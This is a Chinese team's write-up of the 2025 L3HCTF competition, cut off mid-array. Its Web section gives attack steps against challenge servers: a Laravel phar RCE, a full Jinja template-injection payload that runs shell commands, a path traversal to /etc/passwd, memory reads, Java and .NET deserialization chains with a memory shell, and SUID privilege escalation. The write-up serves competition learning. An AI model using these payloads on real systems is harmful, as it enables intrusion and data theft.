2025 L3HCTF SU WriteUp
感谢 L3H_Sec 的师傅们精心准备的比赛!本次L3HCTF我们 SU 取得了第一名🏆 的好成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系baozongwi QQ:2405758945。
以下是我们 SU 本次 2025 L3HCTF的 WriteUp。
感谢 L3H_Sec 的师傅们精心准备的比赛!本次L3HCTF我们 SU 取得了第一名🏆 的好成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系baozongwi QQ:2405758945。
以下是我们 SU 本次 2025 L3HCTF的 WriteUp。
Misc
LearnRag
https://github.com/vec2text/vec2text
https://arxiv.org/html/2401.12192v4
1 | import vec2text |
flag出来的很乱,整理一下L3HCTF{wowthisisembedding}
量子双生影
ntfs数据流隐写+ai二维码变换+双图合并
首先给出的二维码很明显可以用https://github.com/Tokeii0/LoveLy-QRCode-Scanner 这个项目进行扫描
给出的提示是
分析解压出的图片很明显和压缩包大小不符合,检索考察的是ntfs数据流隐写,
解压用ntfsstreamseditor这个工具提取一下得到另外一个图片,分析发现是两个图片进行了xor用现成工具或写脚本
1 | from PIL import Image |
得到图片还是用项目解码
Please Sign In
真签到题 ai梭哈点击就送哦内盖
丢给gpt让gpt生成脚本即可
1 | import torch |
PaperBack
给出了一条纸带上面全是点阵,看题目描述感觉像是拿纸带来保存数据,而且题目中提到了OllyDbg,通过关键词纸带和ollydbg可以搜到一个叫Paperback的东西:https://ollydbg.de/Paperbak/ ,下载这个软件扫描这条纸带可以扫描出一个很大的,但是内容空白的文件,放进Cyberchef转为hex可以看到:
只有20、09、0d、0a四种字符,而0d0a实际上就是\r\n
,可以忽略,在这里将0d 0a
换成换行可以得到:
发现有很多单独出现的09,应该可以忽略,其余的每一行都只有20和09,而且除了第一行和那些单独出现的09之外全是十二个一组,猜测是二进制,且20对应0,09对应1,处理一下可以得到:
1 | 01001100 |
用Cyberchef转换一下就可以得到flag:
Why not read it out?
魔改trunic,手搓音标表
首先现在附件得到一个README文件,用010看看发现是jpg,而且末尾藏了一个翻转的base64编码,处理一下得到提示IGN Review,同时修改文件后缀打开图片得到以下内容
简单社工一下,确定这些文字来自于tunic这个游戏,这是一种由游戏作者自创的音标文字,将单词的音标划分为元音和辅音后,通过外圆内辅的构造方式拼凑出英文单词
然而正常去破译密文会发现不对劲,很多音标根本对不上,显然是出题人把文字给魔改了
此时再次分析提示,可以知道要去看ign的评论,在ign官网找到这个游戏后可以发现对应的官方测评只有下面这一个
https://www.ign.com/articles/tunic-review-xbox-pc-steam
通过对比发现,评测的第一段内容与密文的前面一大段都是完全对应的,因此我们得到了魔改tunic文字的密文以及对应明文
随后我们要做的就是手搓映射表,然后解出下面的五条文字即可得到flag
最终破译出来的内容大致如下,简单处理一下即可得到正确的flag
1 | the content of flag is: come on little brave fox |
Web
赛博侦探
抓包得到路由
回答四个问题
邮箱根据下载的docx
店铺根据羽毛球店的距离可以得到大致的地点
取 114.175958,30.623494
老家一开始猜测就是武汉,实际需要通过机票码扫描
知道了老家是福州以及英文名LELAND
跳转到路由/secret/my_lovely_photos,分析图片都是?name=,猜测文件读取
下载文件得到flag
gogogo出发喽
可以爆破出是admin888
,本地也能getshell,但是不能进远程的后台,419错误。发现是开启了debug模式的,访问/_ignition/health-check
得到的{“can_execute_commands”:true}这个回显,查看MakeViewVariableOptionalSolution.php
利用phpggc生成恶意payload
1 | php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o /tmp/phar.gif |
尝试直接利用CVE发现不能成功,审计代码找到一个上传文件的接口
1 | POST /api/image/base64 |
成功上传,尝试写入phar文件
1 | POST /_ignition/execute-solution |
测试发现fast_destruct就可以绕过了,修复签名的脚本
1 | from hashlib import sha1 |
有了shell之后,发现权限不够,suid提权即可
1 | openssl enc -in "/flag_gogogo_chufalong" |
best_profile
此路由二次渲染last_ip,如果last_ip可控会造成模板注入
1 |
|
应用使用了ProxyFix中间件
1 | from werkzeug.middleware.proxy_fix import ProxyFix |
ProxyFix中间件的作用是从代理服务器传递的请求头中获取客户端的真实IP地址。当请求经过代理(如Nginx)时,原始客户端的IP会被保存在X-Forwarded-For头中。通过设置ProxyFix中间件,Flask的request.remote_addr将不再使用直接连接的客户端IP(通常是代理服务器的IP),而是使用X-Forwarded-For请求头中的IP地址。
1 | X-Forwarded-For: 127.0.0.1 {%set ca=e|slice(16)|string|batch(16)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(8)|string|batch(8)|first|last+e|slice(11)|string|batch(11)|first|last+cycler.__doc__[697]+e|pprint|lower|batch(5)|first|last+e|slice(28)|string|batch(28)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(2)|string|batch(2)|first|last%}{{(sbwaf.__eq__.__globals__.sys.modules.os.popen(ca)).read()}} |
配置文件中有如下内容
1 | location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ { |
服务器设置了缓存所有以.js结尾的响应,同时注册功能没有限制用户名中的特殊字符,这使得我们可以构造特殊的用户名,例如:username.js。当我们注册完成后先向/
发送带有X-Forwarded-For:xxx
的请求,再向/get_last_ip/username.js
发送请求,服务器返回的响应会被缓存,无论接下来的请求是否携带cookie,只要路径相同,返回的结果都会是相同的。/ip_detail
路由内部向/get_last_ip
发送的请求即使不携带cookie也会返回我们给予的last_ip。
gateway_advance
对于此处的过滤
1 | access_by_lua_block { |
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
1 | /download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../etc/passwd |
对于此处的过滤
1 | proxy_pass http://127.0.0.1/static$arg_filename; |
Range 头是 HTTP 协议中用于请求部分内容的请求头,格式为:
Range: bytes=[start]-[end]
允许客户端指定需要获取的资源字节范围,实现断点续传和分块下载功能。
首先利用此方法遍历文件描述符在 /proc/1/fd/6 找到 password 为passwordismemeispasswordsoneverwannagiveyouup
然后可以先通过/proc/self/maps
获得当前进程虚拟地址映射
在本地环境 nginx.conf 的初始化代码后面加上一段,获取 flag 变量的地址
1 | init_by_lua_block { |
找到 flag 存储在 /dev/zero 的下一段内存中
读取 /proc/self/mem 中对应的内存,搜索 ‘L3H’ 即可获得 flag
1 | GET /read_anywhere HTTP/1.1 |
Tellmewhy
一道java题,solon框架,存在fastjson2依赖
/baby/way 路由存在反序列化点
自定义objectStream中定义了反序列化黑名单
- javax.management.BadAttributeValueExpException
- javax.swing.event.EventListenerList
- javax.swing.UIDefaults$TextAndMnemonicHashMap
目的应该是想过滤hashmap -> fastjson2.JSONArray中的链子,不管是通过经验还是跑一下tabby都能发现还有XString这个可用的链子
基于这个构造出基础payload
1 | import com.alibaba.fastjson2.JSONObject; |
fastjson2 与 fastjson1 机制上不太一样,通过fastjson2 构造反序列化链触发templates会进入黑名单,常见的打法是需要通过代理类进行处理,这部分详细内容可通过下述链接学习:
- https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q
- https://github.com/Ape1ron/FastjsonInDeserializationDemo1#
出题人在赛题中也贴心的直接给出了可以使用的代理类org.example.demo.Utils.MyProxy
在有这个类的基础上就可以编写出完整的poc
1 | import com.sun.org.apache.xpath.internal.objects.XString; |
在进入到正式的反序列化逻辑之前还有一个问题,改路由对传递进的json数量进行了比对,solon框架解析到的map和fastjson2解析到的length需要不一致
这一点就涉及到了解析特性相关内容,fastjson2和fastjson1一致,仍旧支持@type键,在正常的solon解析是无法被解析到,从而绕过了这一点
1 | {"@type": "java.util.HashMap","why":"base64 payload"} |
最后成功触发反序列化,但远程环境不出网,还需要去找一个solon内存马
随便找了一个solon filter内存马即可
最后将内存马放入到templates中即可
1 | package gadgets; |
到最后仍旧有个小坑点,这台机器远程没有/bin/bash,捣鼓半天换成/bin/sh就拿到flag了
Get flag
LookingMyEyes
考察.NET反序列化,看一下链子的构成
出题人写了一条非常简单的链子。
这里直接利用委托方法调用写文件的函数。覆盖/app/Looking/My/Eyes.cshtml
1 | using ClassLibrary1; |
需要注意这里利用的是cshtml,由于系统是编译之后的,所以需要反射调用恶意dll
1 | @{ |
出题人还设置了一个坑点,在反序列化的时候过滤了,使用了return null这样是没用的。
rce之后,需要用cmp进行提权。
https://gtfobins.github.io/gtfobins/cmp/
Reverse
TemporalParadox
main开头有花指令,nop掉跳转jmp即可反编译。动态调试跑一轮就知道各个函数的功能
1 | __int64 __fastcall sub_140001D05(__int64 a1, __int64 a2) |
可以看出我们需要得到正确的query并满足query md5加密后的值等于8a2fc1e9e2830c37f8a7f51572a640aa;if里是对时间的判断显然是告诉我们要爆破的话时间范围是(1751990400,1752052051)
进入gen_query可以看到各个参数的生成,可以看到两种query,一种是满足pow_like函数的判断则没有a、b、x、y参数,但多了cipher参数;get_rand是模拟生成随机数
1 | __int64 __fastcall sub_140001963( |
调试可以发现dword_14000B040初始值为get_time返回的time,此外salt值固定为tlkyeueq7fej8vtzitt26yl24kswrgm5,因此a、b、x、y实际上都和t相关
因此首先我写了个python脚本来爆破(c不擅长,部分函数如sub_14000184D直接让gemini分析生成模拟代码,但事后发现其实没用到)
1 | import math |
但python爆破速度非常慢,直接让gemini转为c语言脚本
1 |
|
gcc ./paradox_solve.c -o solve -lssl -lcrypto -lm
得到正确query的sha1结果
ez_android
TauriActivity特征,需要去解包静态资源,本来想着直接Hook Webview直接调试的,结果不知道为啥一hook就进不去程序,无奈只能老老实实解包看看咋个事情
首先看静态资源表,这里分别是name nameLen contentPtr contentSize,那么就解压size就行
翻了一下去年L3H的脚本居然还能用
解包都是这个脚本,地址的话就是压缩内容的范围
1 | import os |
解压缩后看index
没啥东西,单纯就一加载js
js和这个rust后端交互,后端的接口是greet,并且前端未作加密,我们可以直接逆后端。
那既然知道了greet就直接搜索greet就可
逻辑清晰明了
解密代码如下:
1 | xor = [0x70, 0x6F, 0x69, 0x73, 0x6F, 0x6E, 0x65, 0x64, 0x20, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x20, 0x72, 0x65, 0x73, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x73, 0x20, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x55, 0x6E, 0x72, 0x65, 0x61, 0x63, 0x68, 0x61, 0x62, 0x6C, 0x65, 0x57, 0x65, 0x62, 0x76, 0x69, 0x65, 0x77, 0x49, 0x6E, 0x76, 0x6F, 0x6B, 0x65, 0x52, 0x65, 0x6A, 0x65, 0x63, 0x74, 0x65, 0x64, 0x43, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x44, 0x65, 0x73, 0x65, 0x72, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x43, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x53, 0x65, 0x72, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x50, 0x61, 0x79, 0x6C, 0x6F, 0x61, 0x64, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x64, 0x65, 0x73, 0x65, 0x72, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x69, 0x6E, 0x67, 0x20, 0x27, 0x70, 0x6C, 0x75, 0x67, 0x69, 0x6E, 0x73, 0x2E, 0x27, 0x20, 0x77, 0x69, 0x74, 0x68, 0x69, 0x6E, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x54, 0x61, 0x75, 0x72, 0x69, 0x20, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x67, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x73, 0x72, 0x63, 0x5C, 0x6C, 0x69, 0x62, 0x2E, 0x72, 0x73, 0x64, 0x47, 0x68, 0x70, 0x63, 0x32, 0x6C, 0x7A, 0x59, 0x57, 0x74, 0x6C, 0x65, 0x51, 0x57, 0x72, 0x6F, 0x6E, 0x67, 0x20, 0x61, 0x6E, 0x73, 0x77, 0x65, 0x72, 0x61, 0x74, 0x74, 0x65, 0x6D, 0x70, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x75, 0x6E, 0x77, 0x69, 0x6E, 0x64, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x60, 0x72, 0x75, 0x73, 0x74, 0x60, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x65, 0x72, 0x72, 0x3A, 0x20, 0x75, 0x6E, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x38, 0x4D, 0x69, 0x42, 0x20, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x77, 0x68, 0x69, 0x6C, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x61, 0x75, 0x72, 0x69, 0x20, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x74, 0x68, 0x65, 0x20, 0x67, 0x65, 0x6E, 0x65, 0x72, 0x61, 0x74, 0x65, 0x64, 0x20, 0x54, 0x61, 0x75, 0x72, 0x69, 0x20, 0x60, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x60, 0x20, 0x70, 0x61, 0x6E, 0x69, 0x63, 0x6B, 0x65, 0x64, 0x20, 0x64, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x0A, 0x09, 0x00] |
终焉之门
两个代码块实现了对于隐藏代码的加密,有趣的是base64解多层是
flag is L3HCTF{…….
wait what? how could it be so easy?
1 | __int64 __fastcall sub_7FF65DB11450(_BYTE *a1, __int64 a2) |
写个脚本进行解密
1 | s = [0x75, 0x1B, 0x55, 0x0A, 0x17, 0x58, 0x21, 0x1A, 0x75, 0x6C, 0x5F, 0x67, 0x41, 0x52, 0x1F, 0x22, 0x33, 0x66, 0x6E, 0x03, 0x37, 0x3F, 0x03, 0x20, 0x27, 0x44, 0x22, 0x05, 0x35, 0x0D, 0x36, 0x26, 0x25, 0x5B, 0x4B, 0x22, 0x09, 0x13, 0x11, 0x65, 0x45, 0x75, 0x6E, 0x41, 0x3E, 0x39, 0x3A, 0x16, 0x35, 0x08, 0x0B, 0x08, 0x1E, 0x33, 0x19, 0x0A, 0x41, 0x7B, 0x44, 0x58, 0x7B, 0x66, 0x2A, 0x5C, 0x35, 0x0C, 0x14, 0x34, 0x20, 0x58, 0x33, 0x1D, 0x0B, 0x14, 0x6E, 0x65, 0x42, 0x77, 0x59, 0x78, 0x33, 0x39, 0x4F, 0x4C, 0x09, 0x27, 0x23, 0x1C, 0x20, 0x1F, 0x4C, 0x27, 0x39, 0x0F, 0x05, 0x06, 0x66, 0x6B, 0x54, 0x03, 0x30, 0x38, 0x2E, 0x1D, 0x3B, 0x0C, 0x19, 0x67, 0x42, 0x68, 0x7B, 0x6C, 0x38, 0x23, 0x3C, 0x07, 0x06, 0x1E, 0x44, 0x3B, 0x14, 0x05, 0x21, 0x2A, 0x33, 0x1D, 0x62, 0x79, 0x2D, 0x4D, 0x59, 0x5F, 0x26, 0x11, 0x3A, 0x09, 0x30, 0x04, 0x00, 0x3D, 0x11, 0x1D, 0x17, 0x6D, 0x76, 0x13, 0x4B, 0x5D, 0x39, 0x27, 0x2B, 0x3A, 0x27, 0x19, 0x5C, 0x19, 0x16, 0x23, 0x66, 0x49, 0x67, 0x47, 0x75, 0x57, 0x3C, 0x5E, 0x55, 0x20, 0x3F, 0x3F, 0x44, 0x6A, 0x41, 0x00, 0x78, 0x57, 0x34, 0x1F, 0x20, 0x07, 0x32, 0x34, 0x6E, 0x31, 0x0D, 0x05, 0x25, 0x07, 0x21, 0x46, 0x1B, 0x77, 0x2D, 0x4D, 0x5C, 0x19, 0x22, 0x12, 0x2D, 0x1C, 0x0A, 0x0F, 0x39, 0x3D, 0x11, 0x32, 0x03, 0x28, 0x08, 0x56, 0x58, 0x0A, 0x76, 0x4C, 0x3D, 0x19, 0x23, 0x28, 0x4C, 0x21, 0x4A, 0x26, 0x22, 0x51, 0x6E, 0x7B, 0x40, 0x6F, 0x77, 0x24, 0x30, 0x14, 0x31, 0x04, 0x06, 0x3D, 0x45, 0x56, 0x7A, 0x5B, 0x70, 0x5A, 0x24, 0x14, 0x05, 0x30, 0x01, 0x06, 0x42, 0x05, 0x27, 0x28, 0x3A, 0x0E, 0x02, 0x79, 0x76, 0x11, 0x21, 0x4B, 0x24, 0x29, 0x25, 0x59, 0x36, 0x07, 0x3E, 0x3E, 0x07, 0x35, 0x33, 0x42, 0x63, 0x6D, 0x5F, 0x73, 0x2B, 0x6D, 0x50, 0x1D, 0x30, 0x17, 0x0B, 0x26, 0x39, 0x7E, 0x03, 0x3D, 0x30, 0x62, 0x50, 0x05, 0x4D, 0x66, 0x38, 0x1A, 0x0D, 0x22, 0x05, 0x0F, 0x34, 0x68, 0x7F, 0x6C, 0x62, 0x43, 0x6A, 0x29, 0x23, 0x30, 0x20, 0x3C, 0x13, 0x66, 0x37, 0x27, 0x33, 0x35, 0x1B, 0x16, 0x76, 0x4D, 0x50, 0x3C, 0x73, 0x58, 0x0A, 0x23, 0x43, 0x36, 0x10, 0x37, 0x01, 0x3C, 0x27, 0x14, 0x37, 0x19, 0x15, 0x2C, 0x56, 0x59, 0x6C, 0x2E, 0x61, 0x64, 0x2F, 0x6C, 0x6B, 0x16, 0x27, 0x21, 0x3A, 0x47, 0x00, 0x43, 0x12, 0x22, 0x2E, 0x40, 0x66, 0x5C, 0x40, 0x7A, 0x00, 0x3D, 0x28, 0x30, 0x3F, 0x5E, 0x3D, 0x77, 0x59, 0x67, 0x67, 0x61, 0x72, 0x09, 0x40, 0x31, 0x04, 0x3D, 0x23, 0x5A, 0x19, 0x47, 0x00, 0x4F, 0x74, 0x12, 0x66, 0x77, 0x73, 0x15, 0x6E, 0x03, 0x3C, 0x19, 0x72, 0x17, 0x31, 0x27, 0x00, 0x06, 0x2E, 0x45, 0x61, 0x51, 0x71, 0x78, 0x48, 0x77, 0x6D, 0x4B, 0x15, 0x6A, 0x2B, 0x09, 0x72, 0x61, 0x36, 0x5E, 0x24, 0x25, 0x22, 0x4A, 0x3B, 0x39, 0x16, 0x78, 0x0F, 0x29, 0x2D, 0x23, 0x24, 0x3C, 0x22, 0x43, 0x23, 0x16, 0x20, 0x05, 0x21, 0x07, 0x11, 0x5E, 0x3F, 0x3B, 0x22, 0x77, 0x45, 0x77, 0x67, 0x5B, 0x01, 0x62, 0x6B, 0x5E, 0x3A, 0x4B, 0x39, 0x04, 0x54, 0x58, 0x09, 0x50, 0x27, 0x1A, 0x7D, 0x71, 0x66, 0x2C, 0x6B, 0x11, 0x50, 0x70, 0x76, 0x05, 0x02, 0x4F, 0x7E, 0x21, 0x00, 0x0A, 0x14, 0x00, 0x21, 0x08, 0x37, 0x00, 0x13, 0x17, 0x20, 0x5D, 0x52, 0x26, 0x22, 0x02, 0x5E, 0x36, 0x2C, 0x00, 0x6C, 0x19, 0x72, 0x68, 0x79, 0x47, 0x70, 0x77, 0x0A, 0x04, 0x10, 0x23, 0x34, 0x1D, 0x5A, 0x4C, 0x6E, 0x49, 0x77, 0x66, 0x66, 0x46, 0x3F, 0x03, 0x0C, 0x4B, 0x3A, 0x41, 0x69, 0x45, 0x74, 0x5E, 0x3B, 0x63, 0x68, 0x66, 0x50, 0x78, 0x7A, 0x3E, 0x1A, 0x32, 0x45, 0x35, 0x2A, 0x53, 0x68, 0x4B, 0x54, 0x6F, 0x47, 0x4B, 0x11, 0x15, 0x76, 0x31, 0x11, 0x13, 0x3D, 0x3F, 0x29, 0x00, 0x75, 0x56, 0x19, 0x77, 0x50, 0x6B, 0x61, 0x77, 0x50, 0x5C, 0x7A, 0x41, 0x43, 0x4C, 0x13, 0x1C, 0x0D, 0x2A, 0x2B, 0x6E, 0x7E, 0x07, 0x32, 0x79, 0x6A, 0x4D, 0x45, 0x58, 0x3C, 0x45, 0x7D, 0x34, 0x32, 0x13, 0x2D, 0x36, 0x11, 0x32, 0x38, 0x23, 0x35, 0x1A, 0x19, 0x38, 0x3B, 0x05, 0x3D, 0x20, 0x3C, 0x19, 0x5D, 0x43, 0x68, 0x67, 0x72, 0x5A, 0x77, 0x10, 0x5F, 0x15, 0x75, 0x10, 0x11, 0x69, 0x71, 0x78, 0x44, 0x3E, 0x0F, 0x46, 0x71, 0x18, 0x26, 0x09, 0x29, 0x05, 0x32, 0x66, 0x73, 0x52, 0x0D, 0x36, 0x29, 0x06, 0x36, 0x57, 0x1B, 0x0C, 0x3F, 0x03, 0x41, 0x5F, 0x3F, 0x42, 0x67, 0x2E, 0x6E, 0x66, 0x76, 0x73, 0x42, 0x66, 0x50, 0x53, 0x75, 0x4D, 0x11, 0x19, 0x39, 0x66, 0x30, 0x0A, 0x3D, 0x67, 0x19, 0x75, 0x42, 0x68, 0x76, 0x5A, 0x2A, 0x2B, 0x1F, 0x27, 0x32, 0x35, 0x02, 0x13, 0x3B, 0x19, 0x40, 0x33, 0x15, 0x42, 0x71, 0x59, 0x04, 0x41, 0x4C, 0x6B, 0x43, 0x76, 0x44, 0x54, 0x42, 0x66, 0x6E, 0x78, 0x21, 0x1C, 0x19, 0x2D, 0x35, 0x59, 0x7A, 0x43, 0x22, 0x37, 0x32, 0x16, 0x31, 0x0B, 0x67, 0x5C, 0x42, 0x67, 0x48, 0x53, 0x75, 0x10, 0x44, 0x73, 0x2D, 0x5C, 0x7A, 0x51, 0x71, 0x4E, 0x44, 0x73, 0x6D, 0x76, 0x50, 0x69, 0x74, 0x76, 0x00, 0x54, 0x12, 0x23, 0x7A, 0x41, 0x59, 0x4C, 0x4C, 0x41, 0x73, 0x68, 0x62, 0x6C, 0x76, 0x4A, 0x6A, 0x6B, 0x76, 0x76, 0x66, 0x79, 0x41, 0x66, 0x17, 0x27, 0x33, 0x35, 0x1B, 0x69, 0x32, 0x0C, 0x04, 0x26, 0x08, 0x42, 0x14, 0x7C, 0x48, 0x18, 0x44, 0x6B, 0x42, 0x34, 0x17, 0x2F, 0x35, 0x02, 0x1A, 0x04, 0x10, 0x1F, 0x01, 0x12, 0x28, 0x23, 0x0F, 0x6C, 0x6B, 0x5A, 0x66, 0x78, 0x75, 0x12, 0x54, 0x4B, 0x41, 0x76, 0x6A, 0x54, 0x75, 0x4C, 0x4C, 0x7A, 0x42, 0x36, 0x34, 0x31, 0x37, 0x5B, 0x61, 0x5D, 0x44, 0x67, 0x72, 0x68, 0x72, 0x4B, 0x15, 0x77, 0x42, 0x78, 0x71, 0x5A, 0x35, 0x53, 0x07, 0x0A, 0x74, 0x05, 0x7C, 0x5D, 0x73, 0x4E, 0x6E, 0x4A, 0x72, 0x4D, 0x72, 0x41, 0x74, 0x75, 0x44, 0x4F, 0x36, 0x3B, 0x7A, 0x51, 0x71, 0x78, 0x48, 0x77, 0x6D, 0x4B, 0x15, 0x6A, 0x76, 0x12, 0x58, 0x4B, 0x75, 0x11, 0x23, 0x38, 0x22, 0x4A, 0x30, 0x77, 0x5F, 0x78, 0x31, 0x3C, 0x34, 0x09, 0x21, 0x10, 0x32, 0x50, 0x22, 0x14, 0x0F, 0x41, 0x63, 0x1A, 0x22, 0x6C, 0x71, 0x5F, 0x76, 0x77, 0x58, 0x77, 0x76, 0x4B, 0x11, 0x72, 0x70, 0x74, 0x10, 0x1D, 0x76, 0x4D, 0x10, 0x58, 0x0D, 0x5F, 0x3A, 0x54, 0x34, 0x78, 0x51, 0x77, 0x12, 0x45, 0x11, 0x33, 0x3D, 0x33, 0x00, 0x0E, 0x22, 0x27, 0x37, 0x78, 0x7E, 0x1F, 0x3E, 0x37, 0x6D, 0x66, 0x7A, 0x59, 0x76, 0x12, 0x11, 0x67, 0x76, 0x4B, 0x11, 0x78, 0x45, 0x64, 0x62, 0x41, 0x72, 0x76, 0x2A, 0x03, 0x38, 0x34, 0x13, 0x3E, 0x00, 0x37, 0x32, 0x12, 0x3A, 0x35, 0x14, 0x42, 0x7C, 0x1B, 0x66, 0x0E, 0x76, 0x0C, 0x58, 0x40, 0x73, 0x53, 0x72, 0x72, 0x74, 0x4E, 0x6E, 0x78, 0x42, 0x66, 0x50, 0x78, 0x7A, 0x77, 0x54, 0x66, 0x45, 0x66, 0x7A, 0x53, 0x37, 0x19, 0x01, 0x35, 0x26, 0x50, 0x3B, 0x15, 0x76, 0x67, 0x54, 0x41, 0x79, 0x76, 0x6A, 0x54, 0x75, 0x4B, 0x19, 0x27, 0x68, 0x78, 0x72, 0x6C, 0x7A, 0x76, 0x7A, 0x41, 0x43, 0x4C, 0x44, 0x54, 0x44, 0x25, 0x2F, 0x3D, 0x33, 0x4E, 0x7A, 0x63, 0x5C, 0x4D, 0x10, 0x11, 0x72, 0x11, 0x75, 0x59, 0x73, 0x4B, 0x44, 0x78, 0x42, 0x3D, 0x40, 0x76, 0x76, 0x4E, 0x50, 0x77, 0x75, 0x66, 0x72, 0x75, 0x72, 0x4D, 0x54, 0x4A, 0x42, 0x67, 0x72, 0x13, 0x39, 0x1F, 0x75, 0x54, 0x75, 0x0D, 0x11, 0x3A, 0x25, 0x39, 0x07, 0x3C, 0x3E, 0x56, 0x30, 0x03, 0x37, 0x31, 0x6B, 0x4C, 0x24, 0x36, 0x13, 0x49, 0x68, 0x66, 0x6A, 0x49, 0x72, 0x12, 0x48, 0x77, 0x76, 0x4D, 0x15, 0x57, 0x76, 0x12, 0x6E, 0x53, 0x75, 0x05, 0x38, 0x27, 0x42, 0x24, 0x50, 0x4E, 0x75, 0x1E, 0x0C, 0x16, 0x2E, 0x2D, 0x0E, 0x1C, 0x3B, 0x33, 0x58, 0x0E, 0x4F, 0x78, 0x25, 0x45, 0x07, 0x73, 0x7A, 0x63, 0x77, 0x66, 0x79, 0x5A, 0x75, 0x4D, 0x48, 0x7A, 0x45, 0x4B, 0x7A, 0x48, 0x79, 0x5A, 0x66, 0x12, 0x17, 0x37, 0x07, 0x1F, 0x3D, 0x22, 0x2F, 0x2C, 0x33, 0x30, 0x03, 0x29, 0x7D, 0x1A, 0x07, 0x4B, 0x70, 0x67, 0x30, 0x59, 0x78, 0x4E, 0x2C, 0x6D, 0x68, 0x67, 0x48, 0x53, 0x75, 0x10, 0x44, 0x73, 0x76, 0x76, 0x7A, 0x51, 0x71, 0x4E, 0x44, 0x73, 0x6D, 0x34, 0x02, 0x2C, 0x35, 0x3D, 0x58, 0x3F, 0x41, 0x66, 0x7A, 0x53, 0x43, 0x66, 0x4C, 0x41, 0x73, 0x68, 0x62, 0x6C, 0x2B, 0x60, 0x6A, 0x6B, 0x76, 0x76, 0x66, 0x79, 0x41, 0x66, 0x44, 0x73, 0x72, 0x76, 0x13, 0x57, 0x25, 0x08, 0x50, 0x76, 0x67, 0x0B, 0x6E, 0x77, 0x43, 0x65, 0x44, 0x76, 0x42, 0x77, 0x58, 0x50, 0x76, 0x4D, 0x54, 0x0C, 0x6E, 0x4C, 0x7A, 0x53, 0x7A, 0x64, 0x72, 0x77, 0x41, 0x5A, 0x66, 0x78, 0x75, 0x12, 0x54, 0x4B, 0x41, 0x3F, 0x24, 0x00, 0x75, 0x0E, 0x4C, 0x67, 0x42, 0x27, 0x32, 0x35, 0x35, 0x5B, 0x05, 0x33, 0x05, 0x33, 0x33, 0x13, 0x7F, 0x46, 0x46, 0x27, 0x3F, 0x63, 0x5B, 0x5A, 0x76, 0x12, 0x54, 0x4F, 0x74, 0x12, 0x66, 0x77, 0x73, 0x4E, 0x6E, 0x4A, 0x72, 0x4D, 0x72, 0x08, 0x3A, 0x21, 0x44, 0x0E, 0x6D, 0x0C, 0x7A, 0x02, 0x25, 0x39, 0x0B, 0x3C, 0x12, 0x0F, 0x54, 0x3E, 0x37, 0x69, 0x55, 0x46, 0x26, 0x41, 0x17, 0x6D, 0x5C, 0x4A, 0x72, 0x77, 0x42, 0x78, 0x62, 0x68, 0x75, 0x4A, 0x6A, 0x6F, 0x76, 0x11, 0x76, 0x55, 0x74, 0x1F, 0x3A, 0x08, 0x31, 0x5A, 0x15, 0x31, 0x37, 0x23, 0x19, 0x0C, 0x25, 0x1B, 0x1A, 0x79, 0x0D, 0x74, 0x0D, 0x1D, 0x37, 0x4D, 0x6E, 0x58, 0x06, 0x0A, 0x44, 0x54, 0x75, 0x78, 0x4C, 0x77, 0x41, 0x11, 0x50, 0x70, 0x76, 0x4C, 0x44, 0x4F, 0x76, 